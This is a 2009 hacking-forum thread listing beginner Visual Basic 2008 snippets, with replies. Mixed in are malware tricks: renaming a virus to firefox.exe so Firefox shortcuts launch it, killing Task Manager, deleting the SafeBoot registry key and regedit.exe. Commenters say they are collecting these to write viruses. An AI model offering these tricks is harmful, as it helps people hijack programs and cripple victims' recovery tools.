Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[ Visual Basic 2008] Simple But Cool Features To Include In Your Program {Updated Often]

1. Make The Computer Beep

Code
Console.Beep()

Note: Throw in a loop and some timers ? 🤭


2. Fade In / Fade Out
For Fade in
Code
For Fadein = 0.0 To 1.1 Step 0.1
Me.Opacity = Fadein
Me.Refresh()
Threading.Thread.Sleep(100)
Next

For Fade Out

Code
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
Next


3. Make The Computer Talk

Code
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak("TextHere")

4. Create A Message Box

Code
MsgBox("TextHere")

5. Create A Message Box With A Yes + No Button ( To Change Find "vbYesNo",Possible Options:
Code
vbYesNoCancel
vbCritical
vbExcalmation
vbInformation
vbMsgBoxHelp
vbMsgBoxRight
vbOkOnly
vbRetryCancel
vbDefaultButton1
vbDefaultButton2
vbDefaultButton3
vbApplicationmodal
vbQuestion
vbOkCancel
vbAbortRetryIgnore

Code
Dim Responce As Integer
Responce = MsgBox("Are You Sure", vbYesNo, "DELETE")
If Responce = vbYes Then
  MsgBox(" You Clicked Yes!")
Else
MsgBox("You Clicked No!")
End If



5. Start A Process ( Two Examples)

Code
Process.Start("notepad")
Process.Start("www.hackforum.net")

6. Kill A Process

Code
Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()

7. Rename A File
Tip : Copy Your Virus To Firefox's location,Rename firefox.exe something,rename your virus firefox.exe,Now all firefox shortcuts will start your virus ! 😖
Code
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")


8. Delete A File

Code
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)

9. Copy A File

Code
Dim FileToCopy As String
Dim NewCopy As String

FileToCopy = "C:\test.exe"
NewCopy = "C:\NewTest.txt"

If System.IO.File.Exists(FileToCopy) = True Then
System.IO.File.Copy(FileToCopy, NewCopy)
10. Declare a variable ( Example : String)

Code
Dim Hackforum As String
Hackforum = "Awesome"

11. Delete A Registy Key

Code
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")

12. Create A Registry Key
Code
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()


13. Over Write A Text File And Then Add Text To It

Code
Dim OverWrite As String = "C:\Documents and Settings\All Users\Desktop\Example.txt"
If System.IO.File.Exists(OverWrite) = True Then
Dim ObjWriter4 As New System.IO.StreamWriter(OverWrite)
ObjWriter4.Write("Text To Add")
ObjWriter4.Close()

14. Create An If Statement ( File Deletion )

Code
Dim FileToDeleteWithAIfStatement As String
FileToDeleteWithAIfStatement = "C:\Windows\I386\regedit.exe"
If System.IO.File.Exists(FileToDeleteWithAIfStatement) = True The
System.IO.File.Delete(FileToDeleteWithAIfStatement)
End If

15. Assign A text box text ( Two Examples )

Code
Textbox1.Text = "Text"

Dim Anything As String
Anything = "Random"
Textbox1.Text =  (Anything)

16. Assign A Label Text (Two Examples)

Code
Label1 = "Bleh"

Dim RandomText As String
RandomText = "Blah"
Label1 = (RandomText)

17.Add A List Item To A Listbox

Code
Dim RandomText As String
RandomText = "Text"
listBox1.Items.Add(RandomText)


18. Execute A Line Of Code If A Check Box Is Checked Off

Code
If CheckBox1.CheckState = CheckState.Checked Then
' Execute Code Here
Else
'Execute Code Here

End If


19. For Loop

Code
For MessageBox = 1 To 60
MsgBox(" This Will Loop Sixty Times!")

Next MessageBox

20. Start A Timer

Code
Timer.Start ()

21. Stop A Timer

Code
Timer1.Stop ()

22. Close The Application

Code
Me.Close ()

23. Hide Your Application

Code
Me.Hide ()

24. Send An Email With An Attachment Via SMTP ( http://www.vbforfree.com/?p=282 )

Code
Dim message As System.Net.Mail.MailMessage

Dim smtp As New System.Net.Mail.SmtpClient("smtp.gmail.com", 587)


Dim attach As System.Net.Mail.Attachment


message = New System.Net.Mail.MailMessage(txtFrom.Text, txtTo.Text, txtSubject.Text, txtMessage.Text)


If My.Computer.FileSystem.FileExists(txtAttachment.Text) Then message.Attachments.Add(attach)

smtp.EnableSsl = True


smtp.Credentials = New System.Net.NetworkCredential("[email protected]", "password")

Try

smtp.Send(message)


MessageBox.Show("Well, the mail message appears to have been a success!", " Successful?", MessageBoxButtons.OK, MessageBoxIcon.Information)

Catch exc As Net.Mail.SmtpException

MessageBox.Show(exc.StatusCode.ToString, " Something Happened?", MessageBoxButtons.OK, MessageBoxIcon.Error)

End Try

Visual Basic 2008 Tutorials :

http://www.vbtutor.net/vb2008/vb2008_lesson1.html
http://msdn.microsoft.com/en-us/vbasic/default.aspx
http://www.youtube.com/results?search_qu...type=&aq=f
http://www.google.com/#hl=en&q=Visual+Ba...E0CVI1PqvM
http://search.yahoo.com/search;_ylt=A0ge...r2=&iscqry=
http://www.dogpile.com/dogpile/ws/result...ceUrl=true


The History Of Visual Basic 2008 :

http://en.wikipedia.org/wiki/Visual_Basic_.NET
http://dc37.dawsoncollege.qc.ca/compsci/...istory.htm

Visual Basic 2006 Tutorials :

http://www.vb6.us/
http://search.yahoo.com/search;_ylt=A0ge...r2=&iscqry=
http://www.google.com/#hl=en&q=Visual+Ba...E0CVI1PqvM
http://www.youtube.com/results?search_qu...type=&aq=f
http://msdn.microsoft.com/en-us/vbrun/default.aspx

The History Of Visual Basic 2006 :

http://en.wikipedia.org/wiki/Visual_Basic
http://visualbasic.about.com/od/vbnetspe...boutvb.htm

PDF Download :

_DGN_CW.pdf] Link
Size : 19.98 MB

* Make Sure To Import The Required Imports ! * + Rep Me If You Like!
Looking For someone to buy me HF L33t,I would really like to be able to update this often!
Sticky !
Very useful, and I'm bookmarking this, thanks =)
(Jul 5, 2009 04:11 PM)Apple Wrote:  Very useful, and I'm bookmarking this, thanks =)

Wow,Thanks.It means alot.

I accidentally posted this so...
I'll be updating it constantly.

I'll start updating it again in about thirty minutes.
I used the PC talking thing. It works.. That is wicked dude. If I could thank you I would, but it just pulls up a message box. thanks man!
No Prob Dude!This Comment is the reward! lol
(Jul 5, 2009 03:59 PM)SecretProxy Wrote:  1. Make The Computer Beep

Code
Console.Beep()

Note: Throw in a loop and some timers ? 🤭


2. Fade In / Fade Out
For Fade in
Code
For Fadein = 0.0 To 1.1 Step 0.1
Me.Opacity = Fadein
Me.Refresh()
Threading.Thread.Sleep(100)
[b]next[/b]
For Fade Out

Code
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
[b]next[/b]
you forget the next after it
but thnx!
really usefull
(Jul 6, 2009 06:55 AM)DEN1AL Wrote:  you forget the next after it
but thnx!
really usefull

Fixed
I copied down all of these in a text file for when I want to create a virus >:D, got any more? :D, hope to see this become a sticky someday.
(Jul 6, 2009 08:44 AM)Apple Wrote:  I copied down all of these in a text file for when I want to create a virus >:D, got any more? :D, hope to see this become a sticky someday.
I'm adding more often.Since the last time you posted I've added a couple more.
Yea,I just finished my first Visual Basic 2008 virus yesterday.I call it "Win32.Pixie",Its really weird.

Thanks 🙂
Sticky ! ! ! 😖
Thanks!

~Too Short~
(Jul 6, 2009 09:14 AM)TL95ZOYN.HACK Wrote:  Thanks!

~Too Short~

No Problem
thanks, i did book mark this. i found a couple of things useful. i cant believe that i didnt know about the 'start process' code.
thanks 👍
Great post. Some of these things like 'start a timer,' 'stop a timer,' and 'execute code if a checkbox is checked' are pretty unnecessary. besides that, good job
(Jul 6, 2009 09:24 AM)MC' Wrote:  Great post. Some of these things like 'start a timer,' 'stop a timer,' and 'execute code if a checkbox is checked' are pretty unnecessary. besides that, good job

Thank you to you both.
I know,some of these things are pretty easy.
I just posted them for absoulute beginners. 🙂
Wow thanks very helpful :D
[Image: l8foq.png]


Possibly Related Threads...
Thread / Author Replies Views Last Post
by joepaullySep 2, 2024 10:05 PM 0 123 Sep 2, 2024 10:05 PM
Last Post: joepaully
[Source] by SIM-5420967May 26, 2024 09:50 AM 2 372 May 26, 2024 09:50 AM
Last Post: xiaowanga8
[.NET] by BladabindiMay 17, 2023 12:20 AM 1 178 May 17, 2023 12:20 AM
Last Post: NyQuil